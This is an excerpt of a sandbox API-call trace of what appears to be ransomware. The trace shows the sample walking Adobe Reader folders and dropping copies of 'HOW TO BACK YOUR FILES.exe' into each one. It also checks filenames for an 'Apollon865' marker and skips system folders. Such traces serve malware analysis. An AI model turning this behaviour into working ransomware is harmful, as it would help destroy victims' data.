	[0056.850] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.854] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.854] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f60670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f60670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.854] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.854] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.854] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0056.854] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f60670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f60670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.854] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.854] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.854] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0056.854] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0056.854] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0056.854] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.854] lstrcmpiW (lpString1="Adobe", lpString2="Apollon865.txt.exe") returned -1
	[0056.854] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1
	[0056.854] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1
	[0056.854] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1
	[0056.854] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1
	[0056.854] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1
	[0056.854] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0056.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0056.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x599450
	[0056.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0056.855] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f60670, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x39f60670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0056.855] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0056.855] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mac", cAlternateFileName="")) returned 1
	[0056.855] lstrcmpiW (lpString1="Mac", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.855] lstrcmpiW (lpString1="Mac", lpString2="Apollon865.txt.exe") returned 1
	[0056.855] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="Mac" | out: lpString1="Mac") returned="Mac"
	[0056.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0056.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599508
	[0056.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0056.855] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 1
	[0056.855] lstrcmpiW (lpString1="win", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0056.855] lstrcmpiW (lpString1="win", lpString2="Apollon865.txt.exe") returned 1
	[0056.855] lstrcpyW (in: lpString1=0x2d3e5ee, lpString2="win" | out: lpString1="win") returned="win"
	[0056.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0056.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5995b8
	[0056.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7a70
	[0056.855] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win", cAlternateFileName="")) returned 0
	[0056.855] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0056.855] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b90
	[0056.855] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win"
	[0056.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995b8 | out: hHeap=0x580000) returned 1
	[0056.855] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0056.855] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win") returned 82
	[0056.855] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win"
	[0056.855] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.855] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.864] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f60670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f60670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.864] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.864] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.864] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1250.TXT" | out: lpString1="CP1250.TXT") returned="CP1250.TXT"
	[0056.864] lstrlenW (lpString="CP1250.TXT") returned 10
	[0056.864] lstrlenW (lpString="Apollon865") returned 10
	[0056.864] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1251.TXT" | out: lpString1="CP1251.TXT") returned="CP1251.TXT"
	[0056.864] lstrlenW (lpString="CP1251.TXT") returned 10
	[0056.864] lstrlenW (lpString="Apollon865") returned 10
	[0056.864] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1252.TXT" | out: lpString1="CP1252.TXT") returned="CP1252.TXT"
	[0056.864] lstrlenW (lpString="CP1252.TXT") returned 10
	[0056.864] lstrlenW (lpString="Apollon865") returned 10
	[0056.864] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1253.TXT" | out: lpString1="CP1253.TXT") returned="CP1253.TXT"
	[0056.864] lstrlenW (lpString="CP1253.TXT") returned 10
	[0056.864] lstrlenW (lpString="Apollon865") returned 10
	[0056.865] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1254.TXT" | out: lpString1="CP1254.TXT") returned="CP1254.TXT"
	[0056.865] lstrlenW (lpString="CP1254.TXT") returned 10
	[0056.865] lstrlenW (lpString="Apollon865") returned 10
	[0056.865] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1255.TXT" | out: lpString1="CP1255.TXT") returned="CP1255.TXT"
	[0056.865] lstrlenW (lpString="CP1255.TXT") returned 10
	[0056.865] lstrlenW (lpString="Apollon865") returned 10
	[0056.865] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1256.TXT" | out: lpString1="CP1256.TXT") returned="CP1256.TXT"
	[0056.865] lstrlenW (lpString="CP1256.TXT") returned 10
	[0056.865] lstrlenW (lpString="Apollon865") returned 10
	[0056.865] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1257.TXT" | out: lpString1="CP1257.TXT") returned="CP1257.TXT"
	[0056.865] lstrlenW (lpString="CP1257.TXT") returned 10
	[0056.865] lstrlenW (lpString="Apollon865") returned 10
	[0056.865] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP1258.TXT" | out: lpString1="CP1258.TXT") returned="CP1258.TXT"
	[0056.865] lstrlenW (lpString="CP1258.TXT") returned 10
	[0056.865] lstrlenW (lpString="Apollon865") returned 10
	[0056.865] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP874.TXT" | out: lpString1="CP874.TXT") returned="CP874.TXT"
	[0056.865] lstrlenW (lpString="CP874.TXT") returned 9
	[0056.865] lstrlenW (lpString="Apollon865") returned 10
	[0056.865] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP932.TXT" | out: lpString1="CP932.TXT") returned="CP932.TXT"
	[0056.865] lstrlenW (lpString="CP932.TXT") returned 9
	[0056.865] lstrlenW (lpString="Apollon865") returned 10
	[0056.866] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP936.TXT" | out: lpString1="CP936.TXT") returned="CP936.TXT"
	[0056.866] lstrlenW (lpString="CP936.TXT") returned 9
	[0056.866] lstrlenW (lpString="Apollon865") returned 10
	[0056.866] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP949.TXT" | out: lpString1="CP949.TXT") returned="CP949.TXT"
	[0056.866] lstrlenW (lpString="CP949.TXT") returned 9
	[0056.866] lstrlenW (lpString="Apollon865") returned 10
	[0056.866] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CP950.TXT" | out: lpString1="CP950.TXT") returned="CP950.TXT"
	[0056.866] lstrlenW (lpString="CP950.TXT") returned 9
	[0056.866] lstrlenW (lpString="Apollon865") returned 10
	[0056.866] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac"
	[0056.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599508 | out: hHeap=0x580000) returned 1
	[0056.866] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0056.866] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac") returned 82
	[0056.866] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac"
	[0056.866] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.866] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.874] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39f867d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39f867d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.874] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.874] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.874] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ARABIC.TXT" | out: lpString1="ARABIC.TXT") returned="ARABIC.TXT"
	[0056.874] lstrlenW (lpString="ARABIC.TXT") returned 10
	[0056.874] lstrlenW (lpString="Apollon865") returned 10
	[0056.875] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CENTEURO.TXT" | out: lpString1="CENTEURO.TXT") returned="CENTEURO.TXT"
	[0056.875] lstrlenW (lpString="CENTEURO.TXT") returned 12
	[0056.875] lstrlenW (lpString="Apollon865") returned 10
	[0056.875] lstrcmpiW (lpString1="NTEURO.TXT", lpString2="Apollon865") returned 1
	[0056.875] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CHINSIMP.TXT" | out: lpString1="CHINSIMP.TXT") returned="CHINSIMP.TXT"
	[0056.875] lstrlenW (lpString="CHINSIMP.TXT") returned 12
	[0056.875] lstrlenW (lpString="Apollon865") returned 10
	[0056.875] lstrcmpiW (lpString1="INSIMP.TXT", lpString2="Apollon865") returned 1
	[0056.875] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CHINTRAD.TXT" | out: lpString1="CHINTRAD.TXT") returned="CHINTRAD.TXT"
	[0056.875] lstrlenW (lpString="CHINTRAD.TXT") returned 12
	[0056.875] lstrlenW (lpString="Apollon865") returned 10
	[0056.875] lstrcmpiW (lpString1="INTRAD.TXT", lpString2="Apollon865") returned 1
	[0056.875] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CORPCHAR.TXT" | out: lpString1="CORPCHAR.TXT") returned="CORPCHAR.TXT"
	[0056.875] lstrlenW (lpString="CORPCHAR.TXT") returned 12
	[0056.875] lstrlenW (lpString="Apollon865") returned 10
	[0056.875] lstrcmpiW (lpString1="RPCHAR.TXT", lpString2="Apollon865") returned 1
	[0056.875] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CROATIAN.TXT" | out: lpString1="CROATIAN.TXT") returned="CROATIAN.TXT"
	[0056.875] lstrlenW (lpString="CROATIAN.TXT") returned 12
	[0056.875] lstrlenW (lpString="Apollon865") returned 10
	[0056.875] lstrcmpiW (lpString1="OATIAN.TXT", lpString2="Apollon865") returned 1
	[0056.875] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="CYRILLIC.TXT" | out: lpString1="CYRILLIC.TXT") returned="CYRILLIC.TXT"
	[0056.875] lstrlenW (lpString="CYRILLIC.TXT") returned 12
	[0056.875] lstrlenW (lpString="Apollon865") returned 10
	[0056.875] lstrcmpiW (lpString1="RILLIC.TXT", lpString2="Apollon865") returned 1
	[0056.876] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="FARSI.TXT" | out: lpString1="FARSI.TXT") returned="FARSI.TXT"
	[0056.876] lstrlenW (lpString="FARSI.TXT") returned 9
	[0056.876] lstrlenW (lpString="Apollon865") returned 10
	[0056.876] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="GREEK.TXT" | out: lpString1="GREEK.TXT") returned="GREEK.TXT"
	[0056.876] lstrlenW (lpString="GREEK.TXT") returned 9
	[0056.876] lstrlenW (lpString="Apollon865") returned 10
	[0056.876] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="HEBREW.TXT" | out: lpString1="HEBREW.TXT") returned="HEBREW.TXT"
	[0056.876] lstrlenW (lpString="HEBREW.TXT") returned 10
	[0056.876] lstrlenW (lpString="Apollon865") returned 10
	[0056.876] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ICELAND.TXT" | out: lpString1="ICELAND.TXT") returned="ICELAND.TXT"
	[0056.876] lstrlenW (lpString="ICELAND.TXT") returned 11
	[0056.876] lstrlenW (lpString="Apollon865") returned 10
	[0056.876] lstrcmpiW (lpString1="CELAND.TXT", lpString2="Apollon865") returned 1
	[0056.876] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="JAPANESE.TXT" | out: lpString1="JAPANESE.TXT") returned="JAPANESE.TXT"
	[0056.876] lstrlenW (lpString="JAPANESE.TXT") returned 12
	[0056.876] lstrlenW (lpString="Apollon865") returned 10
	[0056.876] lstrcmpiW (lpString1="PANESE.TXT", lpString2="Apollon865") returned 1
	[0056.876] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="KOREAN.TXT" | out: lpString1="KOREAN.TXT") returned="KOREAN.TXT"
	[0056.876] lstrlenW (lpString="KOREAN.TXT") returned 10
	[0056.876] lstrlenW (lpString="Apollon865") returned 10
	[0056.876] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ROMAN.TXT" | out: lpString1="ROMAN.TXT") returned="ROMAN.TXT"
	[0056.877] lstrlenW (lpString="ROMAN.TXT") returned 9
	[0056.877] lstrlenW (lpString="Apollon865") returned 10
	[0056.877] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="ROMANIAN.TXT" | out: lpString1="ROMANIAN.TXT") returned="ROMANIAN.TXT"
	[0056.877] lstrlenW (lpString="ROMANIAN.TXT") returned 12
	[0056.877] lstrlenW (lpString="Apollon865") returned 10
	[0056.877] lstrcmpiW (lpString1="MANIAN.TXT", lpString2="Apollon865") returned 1
	[0056.877] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="SYMBOL.TXT" | out: lpString1="SYMBOL.TXT") returned="SYMBOL.TXT"
	[0056.877] lstrlenW (lpString="SYMBOL.TXT") returned 10
	[0056.877] lstrlenW (lpString="Apollon865") returned 10
	[0056.877] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="THAI.TXT" | out: lpString1="THAI.TXT") returned="THAI.TXT"
	[0056.877] lstrlenW (lpString="THAI.TXT") returned 8
	[0056.877] lstrlenW (lpString="Apollon865") returned 10
	[0056.877] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="TURKISH.TXT" | out: lpString1="TURKISH.TXT") returned="TURKISH.TXT"
	[0056.877] lstrlenW (lpString="TURKISH.TXT") returned 11
	[0056.877] lstrlenW (lpString="Apollon865") returned 10
	[0056.877] lstrcmpiW (lpString1="URKISH.TXT", lpString2="Apollon865") returned 1
	[0056.877] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="UKRAINE.TXT" | out: lpString1="UKRAINE.TXT") returned="UKRAINE.TXT"
	[0056.877] lstrlenW (lpString="UKRAINE.TXT") returned 11
	[0056.877] lstrlenW (lpString="Apollon865") returned 10
	[0056.877] lstrcmpiW (lpString1="KRAINE.TXT", lpString2="Apollon865") returned 1
	[0056.877] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe"
	[0056.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0056.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0056.878] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe") returned 84
	[0056.878] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe"
	[0056.878] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0056.878] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0056.892] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0056.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39fac930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39fac930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0056.893] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.893] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0056.893] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x39fac930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x39fac930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0056.893] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0056.893] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0056.893] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="HKSCS.txt" | out: lpString1="HKSCS.txt") returned="HKSCS.txt"
	[0056.893] lstrlenW (lpString="HKSCS.txt") returned 9
	[0056.893] lstrlenW (lpString="Apollon865") returned 10
	[0056.893] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="Japanese83pv.txt" | out: lpString1="Japanese83pv.txt") returned="Japanese83pv.txt"
	[0056.893] lstrlenW (lpString="Japanese83pv.txt") returned 16
	[0056.893] lstrlenW (lpString="Apollon865") returned 10
	[0056.893] lstrcmpiW (lpString1="se83pv.txt", lpString2="Apollon865") returned 1
	[0056.893] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="JISX0208.txt" | out: lpString1="JISX0208.txt") returned="JISX0208.txt"
	[0056.893] lstrlenW (lpString="JISX0208.txt") returned 12
	[0056.893] lstrlenW (lpString="Apollon865") returned 10
	[0056.893] lstrcmpiW (lpString1="SX0208.txt", lpString2="Apollon865") returned 1
	[0056.894] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="JISX0213.txt" | out: lpString1="JISX0213.txt") returned="JISX0213.txt"
